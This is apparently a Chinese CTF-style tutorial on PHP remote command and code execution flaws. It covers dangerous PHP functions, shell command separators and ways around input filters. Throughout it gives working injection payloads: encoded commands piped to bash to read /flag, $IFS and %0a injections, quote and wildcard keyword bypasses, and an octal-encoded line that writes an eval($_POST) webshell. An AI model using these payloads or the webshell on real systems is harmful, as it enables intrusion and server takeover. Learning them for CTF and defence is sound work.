这篇文章介绍RCE远程命令/代码执行漏洞。
1、介绍
Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
2、漏洞危害
1 | 继承Web服务器程序的权限,去执行系统命令 |
3、PHP命令执行函数
3.1. system() :
system — 执行外部程序(命令行),并且显示输出这个函数会将结果直接进行输出 ,命令成功后返回输出的最后一行,失败返回FALSE
注意:是直接输出,区别于返回值,因为这个,我一般不用它
3.2. shell_exec():
shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
3.3. exec():
exec — 执行一个外部程序返回命令执行结果的最后一行内容。不显示回显。如果想要获取命令的输出内容, 请确保使用 output 参数,或者利用这个函数来构建反弹shell。
1 | exec()函数基本用法: |
3.4. passthru():
passthru — 执行外部程序并且显示原始输出。
3.5. 反引号
eg. 命令
反引号可以用来在PHP代码中直接执行系统命令,但是想要回显的话还需要一个 echo:
如果题目代码中没有 echo,我们需要配合curl并使用VPS进行外带。
3.6. 花括号
eg. {command,}
3.7. echo命令
1 | echo ls|sh |
4、PHP代码执行函数
代码执行漏洞与命令执行漏洞具有相通性。利用系统函数实现命令执行,在php下,允许命令执行的函数有:eval()、assert()、preg_replace()、 array_map()、call_user_func()、call_user_func_array(),array_filter(),usort(),uasort() 、 文件操作函数、动态函数($a($b))、${}等等。如果页面中存在这些函数并且对于用户的输入没有做严格的过滤,那么就可能造成远程命令执行漏洞。
4.1. eval()(可执行多行代码)
eval() 函数把字符串按照 PHP 代码来计算。(php4.0+)
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
实例1:
1 |
|
实例2:拼接参数
1 |
|
注意:
1 | 1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)。 |
4.2. assert()(单行执行)
编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真(为真才能继续执行)。如果该表达式为假,就中断操作.
1 | assert ( mixed $assertion [, Throwable $exception ] ) |
漏洞:如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。跟eval(),和eval()函数区别在于参数不需要分号结尾
1 | eval(" phpinfo()"); <错误> |
例题:(攻防世界-mfw(.git泄露))
知道了assert断言的代码执行漏洞后,我们就来构造payload,这里利用了闭合的思想:分析代码可知,若想得到flag,则需要给page传入的须满足
1 | $file = "templates/" . $page . ".php"; |
4.3. preg_replace() (php<=v5.5 preg_replace \e 模式如果 replacement中是双引号的,那有此漏洞 )
preg_replace函数原型:https://www.php.net/manual/zh/function.preg-replace.php —执行一个正则表达式的搜索和替换
1 | mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) |
搜索subject中匹配pattern的部分,以replacement进行替换。
先来了解一些这个函数相关的东西:
1、replacement部分的修饰符:
1 | /g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个 |
2、 可变变量 (https://www.php.net/manual/zh/language.variables.variable.php)
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;而单引号中的变量不会被处理。
注意:
(1)双引号中的函数不会被执行和替换。
(2)要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。 也即用花括弧来做具体的界限分割。
3、 反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
如(dqs)(pps)\1\2,表示匹配字符串dqsppsdqspps。
例如如下的实例:**([BJDCTF2020]ZJCTF,不过如此)**
1 | preg_replace('/(' . $regex . ')/ei','strtolower("\\1")',$value) |
这里就将$re的正则模式进行了圆括号包裹,因此匹配到的内容会存储到临时缓冲区,供后面的\1访问。
这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。
原先的语句: preg_replace(‘/(‘ . $regex . ‘)/ei’, ‘strtolower(“\1”)’, $value);
变成了语句: preg_replace(‘/(.*)/ei’, ‘strtolower(“\1”)’, {${phpinfo()}});
意思是忽略大小写,匹配任意字符零次或多次(匹配任意内容),以strtolower(“\1”)去替换,而这里因为前面的圆括号反向引用,所以内容就变成了:strtolower(“{${phpinfo()}}”) 而这里的{${phpinfo()}}在双引号里面,作为变量,因此会被解析执行,也就是phpinfo(),执行成功后返回1,就成了”{${1}}”
所以,这里的’strtolower(“{${phpinfo()}}”)’==》strtolower(“{${1}}”) ==》 strtolower(“{null}”) ==》 ‘’ 空字符串,在这个过程中我们的代码已经注入执行成功了。
有坑点
如果你如上去复现,你会发现复现不会成功
传payload进去,http://127.0.0.1/test%20(2).php**/?.\*={${phpinfo()}}**
并没有输出我们预期的phpinfo页面,那么问题在哪里?不妨把传入的值dump出来一下:
1 | echo (var_dump($_GET)); |
注意到 传上去的 .* 变成了 _*, 这是因为php的安全机制, 在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。我们可以 fuzz 一下PHP会将哪些符号替换成下划线,发现有:
非法字符不为首位
1 | import requests |
非法字符在首位时 只有点号(.)会被替换:
1 | import requests |
因此这就给了我们思路,只需要构造来避开这些被Ban的字符来注入就好:比如:
1 | ?\S*={${phpinfo()}}//l1nk3r大佬的payload \S* 表示贪婪匹配任意非空白字符 |
附注:
1 | var_dump(phpinfo()); // 结果:布尔 true |
4.4. call_user_func() 函数
1 | call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) |
实例如下:
1 |
|
我们构造我们的payload为:
1 | id=assert&data=phpinfo() |
4.4. 双引号
注意: ${}执行代码(在 双引号 中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。)
方法:”${php代码}”
eg. “${phpinfo()}”;
5、 命令拼接符
1 | command1 ; command2 : 先执行command1后执行comnand2 |
在RCE中就是靠这些连接符来构造并执行恶意命令的。
6、命令执行的一些绕过技巧
绕过str_replace()函数
双写绕过空格被过滤时用特殊字符代替
空格可以用以下字符串代替:
1 | < 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag} |
用编码来绕过关键字过滤
这种绕过针对的是系统过滤敏感字符的时候,比如他过滤了cat命令、flag字符,那么就可以用下面方式将cat等先进行编码后再进行解码运行。
URL编码绕过
关于**$_SERVER[‘QUERY_STRING’]**,他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关 键词进行url编码就能绕过。
Base64编码绕过
linux base64讲解:
1 | 用法:base64 [选项]… [文件] 使用 Base64 编码/解码文件或标准输入/输出。 |
绕过利用:(”引号不是必须)
1 | echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码 |
道理与上面相同
利用linux xxd命令。
xxd 命令可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。
-r参数:逆向转换。将16进制字符串表示转为实际的数
echo “636174202f666c6167”|xxd -r -p|bash 将执行cat /flag
也可以用 $() 的形式直接内联执行:
1 | (printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag |
Oct编码绕过:
**$(printf “\154\163”)** 执行ls
可以通过这样来写webshell,内容为
1 | // <?php @eval($_POST['c']);?>: ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php |
$() 可以像反引号一样用于内联执行,后面会说到,这里注意一下。用偶读拼接绕过关键字过滤
为了绕过敏感字符(或黑名单),除了用以上说的编码绕过外,还可以用命令偶读拼接绕过。
1 |
|
构造payload,来进行偶读拼接绕过:
1 | ?ip=127.0.0.1;a=l;b=s;$a$b |
原理如下:即在Linux中,命令是可以拼接执行的。
用 %0a 绕过命令连接符
当题目代码将一下字符全部过滤后:
[ $ { } ` ; & | ( ) \ ‘ ~ ! @ # % ^ * [ ] \ : - _ ]
我们可以用 %0a 进行绕过,%0a 代表换行的意思,通过 %0a 能够注入新的一条命令进行执行:
1 | ?ip=127.0.0.1%0als |
花括号{command,}的别样用法
在Linux bash中还可以使用花括号{OS_COMMAND,ARGUMENT}来执行系统命令,{ls,}
注意:别忘了{,}里面的逗号,如{ls}这个不能执行,必须要{ls,}这样。
用内联执行绕过关键字过滤
命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的反引号作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。linux下反引号``里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令(就是将反引号内命令的输出作为输入执行),类似于|管道
反引号``
例如:
1 | echo "a`pwd`" |
还有
1 | ?ip=127.0.0.1;cat$IFS$9`ls` |
还有$(command)
例如:
1 | echo "abcd $(pwd)" |
用引号绕过关键字过滤
实例代码:
1 |
|
代码中绕过了cat、more、index、php等关键字,我们可以用引号绕过这些过滤,实例如下:
1 | ca""t => cat |
用通配符绕过关键字过滤
原理就是利用”?“在正则表达式和shell命令行中的区别绕过关键字过滤。
还是上面那个示例代码:
1 |
|
可以看到,题目使用 preg_match(“/.*f.*l.*a.g./“, $ip) 过滤了flag,那么我们读取flag时就可以用以下方法绕过:
假设flag在/flag中:
1 | /?url=127.0.0.1|ca""t%09/fla? |
我们可以用以上格式的payload读取到flag。
下面说一下原理:
1 | 在正则表达式中,?这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。 |
同理,我们可以知道 * 通配符:
1 | 在正则表达式中,*这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。 |
用反斜杠绕过关键字过滤
还是上面那个示例代码:
1 |
|
我们还可以利用反斜杠绕过关键字过滤,如下:
1 | ca\t => cat |
用[]匹配绕过关键字过滤
同样还是上面那个示例代码,我们可以用[]匹配绕过关键字过滤:
1 | c[a]t => cat |